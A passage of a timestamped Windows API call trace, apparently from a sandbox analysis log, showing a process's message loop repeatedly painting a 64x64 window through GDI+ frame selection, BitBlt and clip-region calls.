GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0168.681] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0168.681] GetSystemMetrics (nIndex=42) returned 0 [0168.681] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0168.681] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0168.681] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0168.681] CoTaskMemFree (pv=0x1e91eca0) [0168.681] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0168.681] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0168.681] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0168.682] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0168.682] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x4e0106c6, x1=0, y1=0, rop=0xcc0020) returned 1 [0168.682] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0168.682] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4e0106c6) returned 0x0 [0168.682] SelectObject (hdc=0x4e0106c6, h=0x185000f) returned 0x1a05067e [0168.682] DeleteDC (hdc=0x4e0106c6) returned 1 [0168.682] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0168.682] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0168.682] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0168.682] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0168.683] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0168.683] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0168.683] WaitMessage () returned 1 [0168.892] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0168.892] IsWindowUnicode (hWnd=0x2031e) returned 1 [0168.892] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0168.892] TranslateMessage (lpMsg=0x15e910) returned 0 [0168.892] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0168.893] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0168.893] GetCurrentThreadId () returned 0xec0 [0168.893] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0168.893] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0168.893] IsWindowUnicode (hWnd=0x2031e) returned 1 [0168.893] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0168.893] TranslateMessage (lpMsg=0x15e910) returned 0 [0168.893] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0168.893] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0168.893] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0168.893] CreateCompatibleDC (hdc=0x1010b9d) returned 0x4f0106c6 [0168.894] SelectObject (hdc=0x4f0106c6, h=0x1a05067e) returned 0x185000f [0168.894] GdipCreateFromHDC (hdc=0x4f0106c6, graphics=0x15daf0) returned 0x0 [0168.894] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0168.894] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0168.894] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0168.894] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0168.894] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0168.894] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0168.894] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0168.895] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0168.895] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0168.895] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0168.895] GdipCreateRegion (region=0x15dc20) returned 0x0 [0168.895] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0168.895] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0168.895] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0168.895] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0168.895] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0168.896] GetSystemMetrics (nIndex=42) returned 0 [0168.896] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0168.896] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0168.896] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0168.896] CoTaskMemFree (pv=0x1e91eca0) [0168.896] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0168.896] GdipCreateRegion (region=0x15d710) returned 0x0 [0168.896] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0168.896] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0168.896] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0168.896] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0168.896] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0168.896] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0168.897] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0168.897] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0168.897] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0168.897] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0168.898] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0168.898] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0168.898] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0168.898] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0168.898] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0168.898] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0168.898] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0168.898] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0168.898] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0168.898] GetCurrentObject (hdc=0x4f0106c6, type=0x1) returned 0x1b00017 [0168.899] GetCurrentObject (hdc=0x4f0106c6, type=0x2) returned 0x1900010 [0168.899] GetCurrentObject (hdc=0x4f0106c6, type=0x7) returned 0x1a05067e [0168.899] GetCurrentObject (hdc=0x4f0106c6, type=0x6) returned 0x18a002e [0168.899] SaveDC (hdc=0x4f0106c6) returned 1 [0168.899] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xf040b8a [0168.899] GetClipRgn (hdc=0x4f0106c6, hrgn=0xf040b8a) returned 0 [0168.899] SelectClipRgn (hdc=0x4f0106c6, hrgn=0x3f0407c3) returned 2 [0168.899] DeleteObject (ho=0xf040b8a) returned 1 [0168.899] DeleteObject (ho=0x3f0407c3) returned 1 [0168.899] OffsetViewportOrgEx (in: hdc=0x4f0106c6, x=0, y=0, lppt=0x273a870 | out: lppt=0x273a870) returned 1 [0168.899] GetNearestColor (hdc=0x4f0106c6, color=0xffffff) returned 0xffffff [0168.900] CreateSolidBrush (color=0xffffff) returned 0x17100190 [0168.900] FillRect (hDC=0x4f0106c6, lprc=0x15d7c0, hbr=0x17100190) returned 1 [0168.900] DeleteObject (ho=0x17100190) returned 1 [0168.900] RestoreDC (hdc=0x4f0106c6, nSavedDC=-1) returned 1 [0168.900] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0168.900] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4f0106c6) returned 0x0 [0168.900] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbb80dbd) returned 0x0 [0168.900] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0168.900] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0168.900] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0168.900] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0168.900] GetSystemMetrics (nIndex=42) returned 0 [0168.900] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0168.901] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0168.901] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0168.901] CoTaskMemFree (pv=0x1e91eca0) [0168.901] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0xe) returned 0x0 [0168.903] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0168.903] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0168.903] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0168.903] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0168.903] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x4f0106c6, x1=0, y1=0, rop=0xcc0020) returned 1 [0168.904] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0168.904] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4f0106c6) returned 0x0 [0168.904] SelectObject (hdc=0x4f0106c6, h=0x185000f) returned 0x1a05067e [0168.904] DeleteDC (hdc=0x4f0106c6) returned 1 [0168.904] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0168.904] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0168.904] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0168.904] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0168.904] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0168.904] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0168.904] WaitMessage () returned 1 [0169.077] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0169.077] IsWindowUnicode (hWnd=0x2031e) returned 1 [0169.077] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0169.077] TranslateMessage (lpMsg=0x15e910) returned 0 [0169.077] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0169.077] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0169.077] GetCurrentThreadId () returned 0xec0 [0169.077] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0169.077] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0169.077] IsWindowUnicode (hWnd=0x2031e) returned 1 [0169.077] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0169.077] TranslateMessage (lpMsg=0x15e910) returned 0 [0169.077] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0169.077] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0169.078] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0169.078] CreateCompatibleDC (hdc=0x1010b9d) returned 0x500106c6 [0169.078] SelectObject (hdc=0x500106c6, h=0x1a05067e) returned 0x185000f [0169.078] GdipCreateFromHDC (hdc=0x500106c6, graphics=0x15daf0) returned 0x0 [0169.078] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0169.078] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0169.078] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0169.078] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0169.079] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0169.079] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0169.079] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0169.079] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0169.079] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.079] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0169.079] GdipCreateRegion (region=0x15dc20) returned 0x0 [0169.079] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0169.080] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0169.080] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0169.080] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0169.080] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0169.080] GetSystemMetrics (nIndex=42) returned 0 [0169.080] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0169.080] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0169.080] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0169.080] CoTaskMemFree (pv=0x1e91eca0) [0169.080] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0169.080] GdipCreateRegion (region=0x15d710) returned 0x0 [0169.080] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0169.080] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0169.081] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0169.081] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0169.081] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0169.081] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0169.081] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0169.081] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0169.081] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0169.081] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0169.082] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0169.082] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.082] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0169.082] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0169.082] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0169.082] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0169.082] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.082] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0169.082] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0169.082] GetCurrentObject (hdc=0x500106c6, type=0x1) returned 0x1b00017 [0169.082] GetCurrentObject (hdc=0x500106c6, type=0x2) returned 0x1900010 [0169.082] GetCurrentObject (hdc=0x500106c6, type=0x7) returned 0x1a05067e [0169.083] GetCurrentObject (hdc=0x500106c6, type=0x6) returned 0x18a002e [0169.083] SaveDC (hdc=0x500106c6) returned 1 [0169.083] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x400407c3 [0169.083] GetClipRgn (hdc=0x500106c6, hrgn=0x400407c3) returned 0 [0169.083] SelectClipRgn (hdc=0x500106c6, hrgn=0x10040b8a) returned 2 [0169.083] DeleteObject (ho=0x400407c3) returned 1 [0169.083] DeleteObject (ho=0x10040b8a) returned 1 [0169.083] OffsetViewportOrgEx (in: hdc=0x500106c6, x=0, y=0, lppt=0x273bb28 | out: lppt=0x273bb28) returned 1 [0169.083] GetNearestColor (hdc=0x500106c6, color=0xffffff) returned 0xffffff [0169.083] CreateSolidBrush (color=0xffffff) returned 0x18100190 [0169.084] FillRect (hDC=0x500106c6, lprc=0x15d7c0, hbr=0x18100190) returned 1 [0169.084] DeleteObject (ho=0x18100190) returned 1 [0169.084] RestoreDC (hdc=0x500106c6, nSavedDC=-1) returned 1 [0169.084] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.084] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x500106c6) returned 0x0 [0169.084] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbb60dbd) returned 0x0 [0169.084] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.084] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0169.084] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0169.084] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0169.084] GetSystemMetrics (nIndex=42) returned 0 [0169.084] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0169.084] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0169.084] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0169.084] CoTaskMemFree (pv=0x1e91eca0) [0169.085] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0169.085] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0169.085] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0169.085] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0169.085] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x500106c6, x1=0, y1=0, rop=0xcc0020) returned 1 [0169.085] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.085] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x500106c6) returned 0x0 [0169.085] SelectObject (hdc=0x500106c6, h=0x185000f) returned 0x1a05067e [0169.085] DeleteDC (hdc=0x500106c6) returned 1 [0169.085] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.085] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0169.086] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0169.086] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0169.086] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0169.086] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0169.086] WaitMessage () returned 1 [0169.238] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0169.238] IsWindowUnicode (hWnd=0x2031e) returned 1 [0169.238] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0169.238] TranslateMessage (lpMsg=0x15e910) returned 0 [0169.239] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0169.239] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0169.239] GetCurrentThreadId () returned 0xec0 [0169.239] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0169.239] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0169.239] IsWindowUnicode (hWnd=0x2031e) returned 1 [0169.239] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0169.239] TranslateMessage (lpMsg=0x15e910) returned 0 [0169.239] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0169.239] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0169.239] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0169.240] CreateCompatibleDC (hdc=0x1010b9d) returned 0x510106c6 [0169.240] SelectObject (hdc=0x510106c6, h=0x1a05067e) returned 0x185000f [0169.240] GdipCreateFromHDC (hdc=0x510106c6, graphics=0x15daf0) returned 0x0 [0169.240] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0169.240] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0169.240] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0169.240] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0169.240] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0169.240] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0169.240] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0169.241] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0169.241] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.241] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0169.241] GdipCreateRegion (region=0x15dc20) returned 0x0 [0169.241] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0169.241] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0169.242] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0169.242] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0169.242] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0169.242] GetSystemMetrics (nIndex=42) returned 0 [0169.242] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0169.242] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0169.242] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0169.242] CoTaskMemFree (pv=0x1e91eca0) [0169.242] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0169.242] GdipCreateRegion (region=0x15d710) returned 0x0 [0169.242] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0169.242] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0169.243] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0169.243] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0169.243] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0169.243] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0169.243] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0169.243] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0169.243] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0169.243] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0169.244] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0169.244] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.244] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0169.244] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0169.244] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0169.244] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0169.245] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.245] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0169.245] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0169.245] GetCurrentObject (hdc=0x510106c6, type=0x1) returned 0x1b00017 [0169.245] GetCurrentObject (hdc=0x510106c6, type=0x2) returned 0x1900010 [0169.245] GetCurrentObject (hdc=0x510106c6, type=0x7) returned 0x1a05067e [0169.245] GetCurrentObject (hdc=0x510106c6, type=0x6) returned 0x18a002e [0169.245] SaveDC (hdc=0x510106c6) returned 1 [0169.245] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x11040b8a [0169.246] GetClipRgn (hdc=0x510106c6, hrgn=0x11040b8a) returned 0 [0169.246] SelectClipRgn (hdc=0x510106c6, hrgn=0x410407c3) returned 2 [0169.246] DeleteObject (ho=0x11040b8a) returned 1 [0169.246] DeleteObject (ho=0x410407c3) returned 1 [0169.246] OffsetViewportOrgEx (in: hdc=0x510106c6, x=0, y=0, lppt=0x273c460 | out: lppt=0x273c460) returned 1 [0169.246] GetNearestColor (hdc=0x510106c6, color=0xffffff) returned 0xffffff [0169.246] CreateSolidBrush (color=0xffffff) returned 0x19100190 [0169.247] FillRect (hDC=0x510106c6, lprc=0x15d7c0, hbr=0x19100190) returned 1 [0169.247] DeleteObject (ho=0x19100190) returned 1 [0169.247] RestoreDC (hdc=0x510106c6, nSavedDC=-1) returned 1 [0169.247] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.247] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x510106c6) returned 0x0 [0169.247] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbb40dbd) returned 0x0 [0169.247] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.247] GdipDeleteRegion 